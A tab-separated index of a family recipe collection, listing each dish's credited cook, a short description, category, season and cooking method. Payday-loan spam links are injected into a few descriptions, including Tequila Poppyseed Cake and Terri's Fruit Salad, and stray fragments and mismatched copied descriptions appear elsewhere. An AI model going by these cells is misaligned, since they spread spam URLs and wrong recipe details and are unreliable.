

List of Recipes

<i>Recipe Name</i>	<i>Credited to:</i>	<i>Description</i>	<i>Category</i>	<i>Sub-Category</i>	<i>Season</i>	<i>Type</i>
7-Up Pound Cake	Naomi Luby	Grandma's 7 pound-oops 7-Up Pound Cake loan	Dessert	Cake	BBQ	Bake
Almond Brittle	Sue Paulding	Aunt Sue's Brittle Almond	Dessert	Candy	BBQ	Bake
Almond Cookies	Sue Paulding	These almond cookies are better than served anywhere!	Dessert	Cookies	BBQ	Bake
Almond Dip	Sue Paulding	From Erin and Pam	Appetizer	Sauce	Summer	Refrigerate
Almond Refrigerator Cookies	Sue Paulding		Dessert	Cookies	Everyday	Bake
Almond White Chocolate Cookies	Carolyn Lokkart	Almond white chocolate cookies that are sinfull	Dessert	Cookies	Everyday	Warm
Amish Friendship Bread	Sue Paulding		Bread		Everyday	Warm
Angel Strawberry Dessert	Rose Paulding	Very yummy, light, dessert	Dessert	Cake	BBQ	Bake
Ann's Crab Cakes	Ann Kubota	Crab Cakes to Die For	Fish		Everyday	
Ann's Mushroom Soup	Ann Kubota	Cream of Mushroom Soup	Soup		Everyday	Simmer
Apple Butter	Gwen Powell	Adapted from Gopher Glen recipes.	Jelly, Jams & Preserves	Fruit	Everyday	Simmer
Apple Cake	Sue Paulding	Gopher Glenn	Dessert	Cake	Everyday	Warm
Apple Crumble	Sue Paulding	From Gopher Glen recipes.	Dessert	Pie	Everyday	Bake
Apple Dip	Linda Lokkart	Yummy carmel apple on a plate	Dessert		BBQ	Bake
Apple Filling for Blintzes	Sue Paulding	From "The Art of Jewish Cooking"	Breakfast	Fruit	Everyday	Simmer
Apple Muffins	Sue Paulding	From Erin Ford	Bread	Muffin	Everyday	Bake
Apple Pie from Gopher Glen	Sue Paulding		Dessert	Pie	Everyday	Warm
Apple Raisin Muffins	Sue Paulding	Moist and easy to bake.	Bread	Muffin	Everyday	Bake
Apple Salad	Sue Paulding	Another Gopher Glen recipe	Salad	Fruit	Everyday	Refrigerate
Apple Sauce	Gwen Powell	Adapted from Gopher Glen Sea Canyon apples loan	Sauce	Fruit	Summer	Simmer
Apple Walnut Cake	Sue Paulding		Dessert	Cake	Everyday	Bake
Applesauce Raisin Brownies	Sue Paulding		Dessert	Bar	Everyday	Bake

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Arctic Salad	Sue Paulding	Can be a dessert.	Salad	Fruit	Everyday	Freeze
Asian BBQ Salmon	Cathy Paulson	Mild grilled fish	Fish		Everyday	BBQ
Aunt Gwen's Easiest Mousse	Gwen Powell					
Aunt Sue's Favorite Salad	Sue Paulding	That says it all!	Salad		BBQ	Bake
Baked Crab and Clam	Naomi Luby		Entrée	Casserole	Everyday	Bake
Baked Fettuccine	Gwen Powell		Side dish	Pasta	Everyday	Warm
Baking Powder Biscuits	Sue Paulding	Better Homes and Gardens	Bread		Everyday	Warm
Balsamella Sauce	Gwen Powell	Use as a white sauce with any pasta. Loan	Sauce	Pasta	Everyday	Simmer
Banana Bread	Sue Paulding		Bread	Fruit	Everyday	Bake
Banana Bread	Gwen Powell	Easy Banana Bread	Bread	Bread	Everyday	Warm
Banana or Apple Bread	Sue Paulding		Bread		Everyday	Bake
Banana Split Cake	Rose Paulding		Dessert	Cake	Everyday	Refrigerate
Banana-Nut Bread	Sue Paulding		Bread		Everyday	Bake
Basic Bread Recipe	Gwen Powell	Basic bread Recipe for the average breadmaker.	Bread	Breadmaker	Everyday	Bake
Basic Brownies	The Dailybreeze	Easy Basic Brownies	Dessert	Cookies	Everyday	Bake
Beef Stew	Sue Paulding		Entrée	Stew	Everyday	Simmer
Beer Bread	Gwen Powell	Easy dinner bread.	Bread		Everyday	Bake
Berry Cobbler	Sue Paulding	Contributed by Sue Paulding. An Erin Ford recipe.	Dessert	Pie	Everyday	Bake
Big Beans	Sue Paulding		Entrée	Crock Pot	Everyday	Bake
Black Bean Mango Salsa	Sunset Magazine	Black Bean Mango Salsa	Appetizer	Sauce	Summer	Refrigerate
Blackened Roughy	Terri Luby	Mom's copy from Terri said Blackened Rougby and some ingredients were not decipherable.	Entrée	Fish	Everyday	Fry
Blanched Almonds	Sue Paulding		Snacks	Grains	Everyday	Bake
Blintz Batter	Sue Paulding	From "The Art of Jewish Cooking"	Breakfast		Everyday	Fry
Blueberry Filling for Blintz	Sue Paulding	From "The Art of Jewish Cooking"	Breakfast	Fruit	Everyday	Refrigerate

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Bran Muffins	Sue Paulding		Bread	Muffin	Everyday	Bake
Broccoli Casserole	Sue Paulding	From Lois Gruber	Entrée	Casserole	Everyday	Bake
Brownies	Gwen Powell	Simple brownies that taste great.v	Dessert	Cookies	Everyday	Bake
Burrito Mix	Sue Paulding		Entrée	Crock Pot	Everyday	
Buttery Cooky Brittle	Sue Paulding		Dessert	Candy	Everyday	Bake
Cabbage Chunch	Sue Paulding	Use as a white sauce with any pasta. Lo	Salad	Vegetable	Everyday	Refrigerate
California Tamale Pie	Sue Paulding		Entrée	Casserole	Everyday	Bake
Cannelloni with Poultry	Gwen Powell	Use chicken, turkey or other poultry to create this very fattening dish.	Entrée	Pasta	Everyday	Bake
Carolyn's Chocolate Chip Cookies	Carolyn Lokkart		Dessert	Cookies	Everyday	Warm
Char Sui Pork	Gwen Powell	Chinese Barbecue Pork	Entrée		Everyday	Bake
Cheese Cake	Lisa Powell	Very easy but tasty cheese cake--use with cheese cake topping.	Dessert	Cake	Everyday	Bake
Cheese Cake Topping	Lisa Powell	Use this to top the cheese cake or other cooked creamed pies.	Dessert	Cake	Everyday	Bake
Cheese Filling for Blintzes	Sue Paulding	From "The Art of Jewish Cooking"	Breakfast		Everyday	Refrigerate
Chicken Casserole	Laura Abaloe		Casserole		Everyday	Bake
Chicken Good	Sue Paulding		Entrée	Chicken	Everyday	Warm
Chicken Noodle Casserole	Linda Lokkart		Entrée	Casserole	Everyday	Warm
Chicken Ranch Sandwich	Michael Rivas at Station Grill	A easy and quick to make chicken and ranch sandwich.	Lunch		BBQ	Bake
Chicken Tacos	Sue Paulding		Entrée	Chicken	Everyday	Simmer
Chicken w/Rice	Sue Paulding	From Erin Ford	Entrée	Chicken	Everyday	Bake
Chicken Wings	Terri Luby		Appetizer	Chicken	Everyday	Warm
Chinese Almond Cakes	Naomi Luby		Dessert	Cookies	Easter	Bake
Chipotle Pepper Rub	Sunset Magazine	Chipotle Pepper Rub	Meat		Summer	
Chocolate Cheesecake	Lisa Powell	Lisa' Chocolate cheesecake that Uncle Earle loved so much.m	Dessert	Cake	Everyday	Bake

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Chocolate Cherry Bars	Sue Paulding		Dessert	Bar	Everyday	Bake
Chocolate Pie	Gwen Powell	Very Easy Chocolate Pie	Dessert	Pie	Summer	Refrigerate
Churros	Sue Paulding		Dessert	Mexican	Everyday	Fry
Coating for Chili Rellenos	Sue Paulding		Sauce	Mexican	Everyday	Fry
Coconut Dream Bars	Naomi Luby	Happy eating!	Dessert	Bar	Everyday	Bake
Coconut Pecan Frosting	Naomi Luby	Use this with German Chocolate Cake loan	Dessert	Cake	Everyday	Refrigerate
Coffee Cake	Gwen Powell	Light and easy.	Dessert	Cake	Everyday	Warm
Continuous Apple Cake	Sue Paulding	This is a 10 day recipe.	Dessert	Cake	Everyday	Bake
Coolrise Bread	Naomi Luby		Bread		Everyday	Bake
Corn Bread	Gwen Powell		Bread		Everyday	Warm
Corn Chowder	Sue Paulding		Soup	Vegetable	Everyday	Simmer
Cowboy Crisps	Mike Luby		Appetizer	Bread	Everyday	Bake
Cranberry Cobbler	Naomi Luby		Dessert	Pie	Everyday	Bake
Cranberry Dessert	Sue Paulding		Dessert	Fruit	Everyday	Refrigerate
Cranberry Nut Bread	Gwen Powell	Cranberry Bread from Carolyn Johnson loan	Bread	Grains	Everyday	Bake
Cranberry White Chocolate Teabread	Sue Paulding	Sweet Holiday Cranberry Bread	Bread	Dessert	Christmas	Bake
Cranberry-Orange Bread	Sue Paulding	Great for the Holidays	Bread	Fruit	Christmas	Bake
Cream Filling	Gwen Powell	For eclairs', tortes and cakes	Dessert	Pudding	Everyday	Simmer
Creamed Spinach	Cathy Paulson	Creamed Spinach a la Lawry's	Vegetable		Everyday	
Crepes	Gwen Powell	Basic Crepe Recipe with variations-Chocolate, Herb, Dessertm	Breakfast		Everyday	
Crumble Pie Crust	Sue Paulding	Use this on top of fruit and bake.	Dessert	Pastries	Everyday	Warm
Crunchy Carmel Apple Pie	Emeril	From Marsha Brooks Apple Pie Contest Winner	Dessert	Pie	Everyday	Warm
Cuban Style Pork	Gwen Powell	Plan ahead but it is work the wait!	Entrée	Meat	Summer	Bake
Deluxe Grilled Cheese	Michael Rivas at Station Grill	Grilled cheese with added chicken, bacon, and chedar cheesem	Appetizer		BBQ	Bake

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Deviled Eggs	Gwen Powell	Gwen's milk recipe	Salad	Relish	Everyday	Refrigerate
Dilly Casserole Bread	Naomi Luby	One of our all time favorites.	Bread		Everyday	Bake
Egg Crepe Blintzes	Naomi Luby	Thin limp blintz that Grandma Luby would make.	Breakfast	Pastries	Everyday	Fry
Eight Layer Dip	Sue Paulding		Appetizer	Mexican	Everyday	Refrigerate
Fancy Egg Scramble	Sue Paulding		Breakfast	Eggs	Everyday	Fry
Fantasia Cheesecake	Gwen Powell	Light, easy, cheesecake like dessert.	Dessert	Pie	Everyday	Refrigerate
Fig Jam	Lisa Powell	Use for the inside of jig tarts.	Jelly, Jams & Preserves	Fruit	Everyday	Simmer
Fig Pudding	Naomi Luby	Traditional Fig Pudding	Dessert	Cake	Christmas	Steam
French Bread	Naomi Luby	Very time consuming, but good.	Bread		Everyday	Bake
French Breakfast Puffs	Naomi Luby	Very sugary sweet.	Breakfast	Muffin	Everyday	Bake
French Pastry Blintzes	Naomi Luby	Family favorite.	Breakfast	Pastries	Everyday	Fry
French Vanilla Ice Cream	Gwen Powell	Gwen uses this for the basis of all good ice cream. Even making while camping!	Dessert	Ice Cream/Sorbet	Summer	Freeze
French Vanilla Ice Cream	Gwen Powell	The best homemade ice cream.	Dessert	Ice Cream/Sorbet	Summer	Freeze
Fried Almonds or Walnuts	Sue Paulding		Dessert	Grains	Everyday	Fry
FRIENDLY BROWNIES	Gwen Powell	Nutting chewy brownies	Dessert	Cookies	Everyday	Bake
Froghurt	Gwen Powell	Healthy frozen snack from Gwen's spinning friend Diane Wallihan	Snacks	Dessert	Summer	Freeze
Fruitcake (Very Easy)	Gwen Powell	This very easy fruitcake is also very tasty.	Bread	Dessert	Holiday	Bake
Fudge	Gwen Powell	Very easy fudge from Eagle Brand Milk (or use any sweetened condensed milk.	Dessert	Candy	BBQ	Bake
Funnel Cake	Gwen Powell	Inspired by Steve Powell	Dessert	Cake	Everyday	Fry
Garlic Lime Salmon	Jill Meynen--Gwen & Don's Gym Friend	A nice way to eat salmon	Fish		Summer	Warm
Gemini Cricket Pie	Laura Abaloe	No bugs in this one!	Dessert		Summer	Freeze
German Apple Pancakes	Sue Paulding	A recipe from Erin Ford	Breakfast		Everyday	Bake
German Sweet Chocolate Cake	Naomi Luby		Dessert	Cake	Everyday	Bake

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Glazed Pork Chops	Gwen Powell	30 minute Pork Loin Chops	Entrée	Meat	Everyday	Simmer
Glenda Newell's Salsa	Sue Paulding		Appetizer	Sauce	Everyday	Refrigerate
Golden Mushroom Chick	Sue Paulding	I decided to use chicken instead of chick as described in the original recipe.	Entrée	Chicken	Everyday	Simmer
Graham Cracker Crust	Gwen Powell	This is a standard Graham Cracker Crust for all uses	Dessert	Pie	Everyday	
Grandma's Meatloaf	Judy Powell		Entrée	Beef	Everyday	Bake
Grandmother's Famous Cranberry Bread	Sue Paulding	From Parents' Magazine	Bread		Holiday	Bake
Granola	Laura Abaloe		Snacks	Grains	Everyday	Warm
Granola	Sue Paulding	Not as fancy as Laura's	Snacks	Grains	Everyday	Warm
Green Chile Verde`	Sue Paulding	Make this ahead and reheat it at mealtime and serve alone or over rice.ydayloan	Entrée	Mexican	Everyday	Simmer
Gwen's Alligator Poppers	Gwen Powell	Hot peppers and tasty Alligator make for this unusual Appetizer	Appetizer		BBQ	Fry
Gwen's Ghiradelli Chocolate Chip Cookies	Gwen Powell	Ghiradelli Chocolate Chip Cookie recipe with a Gwen flavor.	Dessert	Cookies	Everyday	Bake
Gwen's Tortilla Casserole	Gwen Powell	Yummy way to use up a lot of that stuff in the fridge. Make ahead and enjoy for days	Entrée	Mexican	Everyday	Bake
Gwen's Wheat Bread	Gwen Powell	"Who ever said that man cannot live by bread alone never had a breadmaker!"	Bread	Breadmaker	Everyday	Bake
Ham Casserole	Naomi Luby	Turkey may be substituted for ham	Entrée	Casserole	Everyday	Bake
Ham Glaze	Sue Paulding	"Shelly's Ham Glaze"	Sauce		Holiday	Bake
Herb Rolls or Bread	Gwen Powell	Same as Sesame Rolls but with Herbs loan	Bread	Breadmaker	Everyday	Warm
Hershey Kiss Cookies	Judy Powell	Hershey Kiss Cookies	Dessert	Cookies	Holiday	Bake
Hot Pepper-Cranberry Jelly	Unknown	Not hot as Jalapeno jelly. Nice and red.	Jelly, Jams & Preserves	Fruit	Everyday	Can
Ice Cream Pie	Rose Paulding	Use 9 by 13 inch pan	Dessert	Pie	Summer	Freeze
Jalapeno-Pepper Jelly	Naomi Luby	Hot green jelly from Aunt Wannie (Elwanda Walker)	Jelly, Jams & Preserves	Fruit	Everyday	Can
Jam Crescents	Naomi Luby		Breakfast	Pastries	Everyday	Bake
Jamaican Jerk Chicken	Mike Luby	Goes real well with Linda's Salsa.	Entrée	Chicken	Everyday	BBQ

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Jell-O Jigglers	Sue Paulding	A Jell-O © recipe. Fun for the kids. loan<	Children	Pudding	Summer	Refrigerate
Jell-O Salad	Sue Paulding		Salad	Fruit	Everyday	Refrigerate
Jewish Challah (Egg Bread)	Naomi Luby	An old family favorite from Grandmommy Luby (Essy)	Bread	Breakfast	Christmas	Bake
John Wayne's Cheese Casserole	Naomi Luby		Entrée	Casserole	Everyday	Bake
John's Morning Oatmeal	Sue Paulding		Breakfast	Grains	Everyday	Microwave
Julie's Pizza	Julie Luby	A greek inspired pizza with stuff that Julie loves	Entrée		Everyday	Bake
Kahlua	Gwen Powell	Kahlua is a coffee flavored after dinner liquor	Beverages	Liquor	Everyday	Simmer
Kahlua Chili	Gwen Powell	Slightly sweet, spices chili that cleans out the refrigerator	Entrée	Crock Pot	Everyday	Simmer
KATE'S FAMOUS BROWNIES	Katherine Hepburn	This shows up in every stack of recipes handed into me.	Dessert	Cookies	Everyday	Bake
Kit Carson Casserole	Naomi Luby	Recipe from the Wife of Kit Carson from a Colorado Restaurant	Entrée	Casserole	Everyday	
Lace Boiled Eggs	Lisa Powell	Pretty eggs for Easter or luncheons loan<	Appetizer	Eggs	Easter	Boil
Laura's favorite dinner	Laura Abaloe	rice, cabbage, and ground beef delight	Beef		Everyday	Warm
Laura's Scones	Laura Abaloe	Scones that Laura makes at Traders Coffee and Tea				
Lemon Bars	Naomi Luby	Same as Grandma Judy's Lemon Bars	Dessert	Bar	Everyday	Bake
Lemon Cake	Karen and Michelle Rivas	Karen and Michelle's Lemon Cake	Dessert	Cake	Everyday	Warm
Lemon Cheese Cake	Gwen Powell	Easy lemon tasting cheese cake like dessert.	Dessert	Pie	Summer	Refrigerate
Lemon Ice Cream	Sue Paulding		Dessert	Ice Cream/Sorbet	Everyday	Freeze
Lemon Pie	Judy Powell	Lemon Meringue Pie (This is the pie part)	Dessert	Pie	Christmas	Simmer
Libby's Pumpkin Pie	Gwen Powell	Recipe is from the Libby's Pumpkin Pie can. Substitute 2 cups fresh cooked pumpkin.	Dessert	Pie	Thanksgiving	Bake
Lisa's Chocolate Mousse	Lisa Powell	A great Betty Crocker recipe.	Dessert	Pudding	Everyday	
Lisa's Graham Cracker Crust	Lisa Powell	Use this one with Lisa's chocolate cheesecake	Dessert	Cake	Everyday	Refrigerate
Lisa's Many Layer Dip	Lisa Powell	Lisa's take on 7 layer dip	Appetizer		Everyday	Refrigerate
Low CarbChicken Cordon Bleu	Lisa Hendricks	A Jell-O © recipe. Fun for the kids.	Chicken		Everyday	Bake

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Luncheon Rolls	Naomi Luby	Make these in advance and freeze.v	Lunch	Sandwich	Everyday	Bake
Mango or Zapate Bread	Gwen Powell	Exotic Fruit Bread	Bread	Fruit	Everyday	Warm
Mango Salsa	Jill Meynen--Gwen & Don's Gym Friend	Fuity, tangy Salsa for fish, especially Salmon	Mexican	Relish	Summer	
Mango Wonton Appetizers	Amanda Beck	Light summer appetizer	Appetizer		BBQ	Bake
Margaret Lim's Batter for Frying	Naomi Luby	Chinese batter	Appetizer	Entrée	Everyday	Fry
Margaret Lim's Meatballs	Sue Paulding		Entrée	Meat	Everyday	Fry
Margie's Carmel Rolls	Linda Lokkart		Bread		Everyday	Warm
Mayonnaise	Naomi Luby	This shows up in every stack of recipes handed into me. Twice in my own.	Sauce		Everyday	Refrigerate
Meringue	Judy Powell	Meringue for the top of Lemon Piev	Dessert	Pie	Christmas	Refrigerate
Mexican Casserole	Gwen Powell	Mexican Casserole--change it as you wish.	Entrée	Casserole	Summer	Bake
Mexican Casserole	Linda Lokkart		Entrée	Casserole	Everyday	Warm
Mexican Hors d'oeuvres	Linda Lokkart	Serve with chips.	Appetizer	Mexican	Everyday	Refrigerate
Mexican Lasagna	Rose Paulding		Entrée	Mexican	Everyday	Bake
Mexican Quiche	Sue Paulding		Entrée	Mexican	Everyday	Bake
Mexican Rice	Sue Paulding		Side dish	Mexican	Everyday	Boil
Mexican Wedding Cake Cookies	The Luby Family	Old family favorite--Modified by Gwen December 2006	Dessert	Cookies	Christmas	Bake
Microwave Peanut Brittle	Sue Paulding		Dessert	Candy	Everyday	Microwave
Mike's Fabulous Focaccia	Mike Luby	Mike made this one up himself.	Bread	Italian	Everyday	Bake
Mocha Funge Brownies	Aunt Gwen	Mocha Fudge Brownies	Dessert	Cookies	Everyday	Bake
Mole Sauce	Earle Luby	For chocolate enchiladas--really.v	Sauce	Mexican	Everyday	Simmer
Mom's Beer Bread	Naomi Luby		Bread		Everyday	Bake
Mom's Turkey	Naomi Luby	Stuff with turkey dressing recipev	Entrée	Poultry	Holiday	Bake
Mr. Wilson's Chicken Marinade	Sue Paulding		Sauce	Chicken	Everyday	Refrigerate

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Mrs. Field's \$500 Chocolate Chip Cookies	Mrs. Field's	Mrs. Field's Chocolate Chip cookies--contributed by Sue Paulding	Dessert	Cookies	Everyday	Bake
Mrs. Field's Cookies	Sue Paulding	Mrs. Field must be a good friend of Sue. Loan	Dessert	Cookies	Everyday	Bake
Mushroom Asparagus	Gwen Powell	Steam Asparagus with Mushroom Sauce loan	Vegetable		Everyday	Steam
Nassi (Dutch Rice)	Ann Lokkart		Side dish	Vegetable	Everyday	Boil
Neiman-Marcus Bars	Judy Powell	From Grandma Judy	Dessert	Bar	Christmas	Bake
Never Fail Pie Crust	Naomi Luby aka Grandma	Just what it sounds like! A great pie crust recipe	Dessert		BBQ	Bake
Newell Salsa	Linda Lokkart		Sauce	Mexican	Everyday	Refrigerate
Oatmeal Cookies	Lisa Powell		Dessert	Cookies	Everyday	Warm
O'Henry Bars	Laura Abaloe	yummy treat from the newspaper!	Dessert		Everyday	Bake
Old Russian Borscht	Sue Paulding		Soup		Everyday	Simmer
Ozark Pudding	Naomi Luby		Dessert	Pudding	Everyday	Bake
Pancakes	Sue Paulding	From Better Homes and Gardens--this is Sue's great pancakes.	Breakfast	Pastries	Everyday	Warm
Pasta (Basic Egg)	Gwen Powell	Basic egg pasta, whole protein for any meal	Pasta	Pasta Maker	Everyday	Boil
Pasta Primavera Mold	Gwen Powell	Beautiful display and makes a great main course.	Entrée	Pasta	Everyday	Warm
Pastry	Sue Paulding	Good basic pastry dough	Dessert	Pie	Everyday	Bake
Pastry--double crust	Gwen Powell	Better Homes and Gardens	Dessert	Pastries	Everyday	Warm
Pastry--Single Crust	Gwen Powell	Better Homes and Gardens	Dessert	Pastries	Everyday	Warm
Peanut Butter Hershey Kiss Cookies	Linda Lokkart		Dessert	Cookies	Everyday	Warm
Peanut Butter S'more Snack	Laura Abaloe		Snacks		BBQ	Bake
Pear Bread	Sue Paulding	Gopher Glen	Bread	Fruit	Everyday	Warm
PECAN PIE BROWNIES	Gwen Powell	A variation of Basic Brownie	Dessert	Cookies	Everyday	Bake
Perfect Turkey Loaf	Sue Paulding		Entrée	Turkey	Everyday	Bake
Pesto	Gwen Powell	Italian pesto for pasta inspired by Great Uncle Earle	Sauce	Italian	Everyday	Refrigerate
Pesto Mahi Mahi	Fellow Golfer	Use Mahi Mahi or halibit	Fish		Everyday	Warm

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Picnic Macaroni Salad	Naomi Luby		Salad	Pasta	Summer	Refrigerate
Pineapple Mango Salsa over Grilled Halibut	Jill Meynen--Gwen & Don's Gym Friend	Luscious mango nectar, combined with pineapple chunks and diced fresh mango make a sweet but zesty marinade for halibut. = h//integritypaydayloansfcfit.com >integrity payday loans< href=http://onlinepaydayloanlendersjaycg.com >online p	Fish		Summer	Broil
Pizza Crust	Linda Lokkart		Entrée	Casserole	Everyday	Warm
Playdough	Sue Paulding	Good for a rainy day.	Children	Fun	Everyday	Simmer
Polka Daters	Judy Powell	Rich brownie like dessert	Dessert	Cookies	Everyday	Bake
Poppy Seed Bread	Gwen Powell		Bread		Everyday	Warm
Poppy Seed Cake (bread)	Linda Lokkart		Bread	Cake	Everyday	Warm
Poppy Seed Muffins	Sue Paulding	Moist, rich and addictive.	Bread		BBQ	Bake
PORT CHOCOLATE TRUFFLE RECIPE	Gwen Powell	Basic truffle recipe. Substitute your favorite flavor for the Port such as vanilla or almond	Dessert	Candy	Everyday	
Pot Roast Mexicali	Sue Paulding	From Erin Ford and Louise Edward's	Entrée	Stew	Everyday	Bake
Potato Casserole	Terri Luby	This is the one we had at Christmas in Colorado	Side dish	Vegetable	Everyday	Warm
Potato Salad	Linda Lokkart/Sue Paulding	From Ann Lokkart	Salad	Vegetable	Picnic	Refrigerate
Prime Rib Roast--Bake or BBQ	Gwen Powell	Easy and to the point--buy the best you can find	Entrée	Meat	Everyday	Bake
Prune Bread	Naomi Luby	Only Grandma could think of this one.	Bread	Fruit	Everyday	Bake
Puff Pastry Dough	Gwen Powell		Dessert	Pastries	Everyday	Warm
Pumpkin Bread	Sue Paulding/Naomi Luby		Bread		Everyday	Bake
Pumpkin Pasta	Gwen Powell	Use canned for cooked fresh pumpkin or other squash	Pasta	Pasta Maker	Everyday	Warm
Pumpkin Roll Holiday Treat	Reba Rhodes	Pumpkin Log cut into spiral swirls	Dessert		Holiday	Bake
Punch	Sue Paulding		Beverages		Everyday	Refrigerate
Quick Carrot & Cream Cheese Bars	Sue Paulding		Dessert	Bar	Everyday	Bake
Quickly Seasoned Almonds	Sue Paulding		Snacks	Grains	Everyday	Bake

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Reba's Best Salmon	Gwen's Friend Reba Rhodes	Reba is a fun friend who is the ultimate in everything.m	Entrée		Easter	Bake
Reese's Peanut Butter Squares	Sue Paulding		Dessert	Bar	Everyday	Refrigerate
Rice	Gwen Powell		Side dish	Grains	Everyday	Steam
Rice and Bean Salad	Cathy Paulson	Great cold side dish	Salad	Vegetable	Everyday	Refrigerate
Rice Cashew	Gwen Powell	A nice rice dish with the flavor of the Orient.	Side dish	Casserole	Everyday	Bake
Rice Pudding	Sue Paulding	From Bunny	Side dish	Pudding	Everyday	Simmer
Rich Rolleo Cookies	Sue Paulding	From the Joy of Cooking	Dessert	Cookies	Everyday	Bake
Roasted Garlic	Gwen Powell	No fleas or mesquito bites if you eat this. Serve with crackers and goat cheese.	Appetizer	Vegetable	Everyday	Warm
Salmon BBQ Sauce	Reba Rhodes	A great saurce for BBQ Salmon	Fish		BBQ	BBQ
Salmon Spread	Gwen Powell	Spread for sandwiches or crackers	Appetizer	Fish	Everyday	
Salt Crust Grilled Fish	Dave Hendricks		Appetizer		BBQ	Bake
Savory Chicken Stew	Mike Luby		Entrée	Chicken	Everyday	Simmer
Scones (real Scottish ones)	Julie Luby	Straight from the kitchen of a Scottish Grandmother!	Breakfast		Everyday	Fry
Scotchy Chocolate Fondue	Sue Paulding		Dessert		Everyday	Bake
Seafood Chowder	Gwen Powell	Basic Seafood Chowder from fish, clams or whatever.	Soup		Everyday	Simmer
Sesame Rolls or Bread	Gwen Powell	Exciting sesame flavored rolls, great with dinner or breakfast.	Bread	Breadmaker	Everyday	Bake
Shepherd's Pie	Sue Paulding		Entrée	Casserole	Everyday	Warm
Shortcake Muffins with Fruit	Gwen Powell	Breakfast that passes as dessert.	Breakfast	Fruit	Everyday	Bake
Shrimp Dip	Sue Paulding	Another from Erin Ford	Appetizer		Everyday	Refrigerate
Shrimp Mousse	Gwen Powell	Delicious mousse dip for the Holidays. (serve cold)	Appetizer		Holiday	Simmer
Sicilian Soup	Sue Paulding	From Erin	Soup		Everyday	Boil
Sister's Day Apple Pie	Emeril	Basic Apple pie from Emeril's 2001 contest--I liked the name	Dessert	Pie	Everyday	Warm
Six Week Muffins	Sue Paulding	Bran Muffins	Bread	Muffin	Everyday	Bake

<i>Recipe Name</i>	<i>Credited to:</i>	<i>Description</i>	<i>Category</i>	<i>Sub-Category</i>	<i>Season</i>	<i>Type</i>
Smoked Bacon Chicken Soup	Gwen Powell	Savory soup for a cold day.	Soup		BBQ	Bake
Snowballs	Naomi Luby	Also known as Mexican wedding cakes or Russian Tea Cakes. These melt in your mouth.	Dessert	Cookies	Holiday	Warm
Sourdough French Bread	Sue Paulding	Where do you get the starter?	Bread		Everyday	Bake
South of the Border Casserole	Sue Paulding		Entrée	Casserole	Everyday	Bake
Spaghetti Sauce	Sue Paulding		Sauce	Italian	Everyday	Simmer
Spanish Rice	Sue Paulding	Great for parties.	Side dish	Grains	Everyday	Simmer
Spinach Roll	Sue Paulding	Contributed by Sue on behalf of Terri Luby.	Entrée	Vegetable	Everyday	Bake
Spinach Soufflé	Linda Lokkart/Sue Paulding	Use with crab, shrimp, lobster or just over pasta.	Side dish	Casserole	Everyday	Bake
Spritz Cookies	Gwen Powell	Best with red currant jelly in the center.	Dessert	Cookies	Holiday	Warm
Sticky Coconut Chicken	Sunset Magazine	Sticky Coconut Chicke	Chicken		Summer	BBQ
Sticky Ribs	Terri Luby	Superbowl	Appetizer		Everyday	Warm
Stonemill Bread	Linda Lokkart/Sue Paulding	Acceptable non-meat cannelloni.	Bread	Grains	Everyday	Bake
Strawberry Pie	Sue Paulding/Naomi Luby/Linda Lokkart	Alter this recipe to fit any needs.</d	Dessert	Pie	Everyday	Refrigerate
Strawberry Salsa	SLO Chamber of Commerce	Great salsa for Fish or Grilled Chicken	Sauce		Summer	Refrigerate
Stuffed Artichokes	Gwen Powell		Side dish	Vegetable	Everyday	Warm
Stuffed French Toast	Gwen Powell	Inspired by a B&B in Cambria.	Breakfast	Eggs	Everyday	Warm
Sue's Brownie	Sue Paulding	Original written in Naomi's handwriting.	Dessert	Bar	Everyday	Bake
Sun Dried Tomato Pesto Chicken	Mike Luby	Tasty Chicken Entree. Serve with home made pasta for extra effect.	Entrée	Poultry	Everyday	Simmer
Super Cheese Bread	Sue Paulding		Bread		Everyday	Broil
Susan Bread	Sue Paulding	Like Sue, very little instructions.	Bread	Grains	Everyday	Bake
Swedish Toscas	Naomi Luby	Almond flavored confection.	Dessert	Cookies	Holiday	Bake
Sweet Bread with Walnut Filling	Gwen Powell	Great with breakfast or to serve with tea and coffee.m	Bread	Breadmaker	Everyday	Bake
Sweet-Sour Chicken	Sue Paulding	From Betty Crocker's Meatless Main Dishes loan<	Entrée	Chicken	Everyday	Boil

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Tamale Pie	Naomi Luby		Entrée	Mexican	Everyday	Bake
Tamales	Sue Paulding		Entrée	Mexican	Everyday	Steam
Tamales--Entree, Dessert, Appetizer	Gwen Powell		Entrée	Mexican	Everyday	Steam
Tapioca	Sue Paulding		Side dish	Pudding	Everyday	Simmer
Tequila Poppyseed Cake	Gwen Powell	Great for parties.=h//integritypaydayloansfcfit.com >integrity payday loansonline payday loan lenders<a href=http:ydayloandomog.com payday loan</div>	Dessert	Cake	Everyday	Bake
Terri's Fruit Salad	Terri Luby	Contributed by Sue on behalf of Terri Luby.=h//integritypaydayloansfcfit.com >integrity payday loansonline payday loan lenders<a href=http:ydayloandomog.com payday loa	Salad	Fruit	Everyday	Simmer
Thermidor Sauce	Gwen Powell	Use with crab, shrimp, lobster or just over pasta.ay	Sauce	Fish	Everyday	Simmer
Thumbprint Cookies	Gwen Powell	Best with red currant jelly in the center.	Dessert	Cookies	Holiday	Warm
Toffee	Gwen Powell		Dessert	Candy	Everyday	Boil
Toffee	Sue Paulding		Dessert	Candy	Everyday	Simmer
Tofu Cannelloni	Gwen Powell	Acceptable non-meat cannelloni.	Entrée	Pasta	Everyday	Bake
Tofu Quiche	Gwen Powell	Alter this recipe to fit any needs.	Side dish	Vegetable	Everyday	Warm
Tomato Meatball Soup	Linda Lokkart		Soup		Everyday	Simmer
Tortilla Hors d'ourves	Gwen Powell	Great party idea that can be expanded to an entree by adding meat.ydayloandomog	Appetizer	Mexican	Everyday	Bake
Tunnel of Fudge Cake	Tony Van Ness	GUI, yummy cake	Dessert	Cake	Everyday	Bake
Turkey Acapulco	Sue Paulding		Entrée	Poultry	Easter	Bake
Turkey Brine	Gwen Powell	Brine to be used with Turkey or Chicken	Turkey	Entrée	Holiday	Refrigerate
Turkey Dressing	Naomi Luby	Stuff a turkey or bake in casserole dish.	Side dish	Relish	Holiday	Bake
Vanocha Christmas Bread	Naomi Luby	Mom's Holiday Bread	Bread		Christmas	Bake
Veal and Beet Borscht	Sue Paulding		Soup	Vegetable	Everyday	Simmer

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Waffles	Linda Lokkart/Sue Paulding		Breakfast		Everyday	Bake
Walnut Pie	Sue Paulding	Use fresh walnuts when Sue and Clifford gather them each fall.	Dessert	Pie	Everyday	Bake
White Sauce	Gwen Powell	Better Homes and Gardens	Sauce		Everyday	Simmer
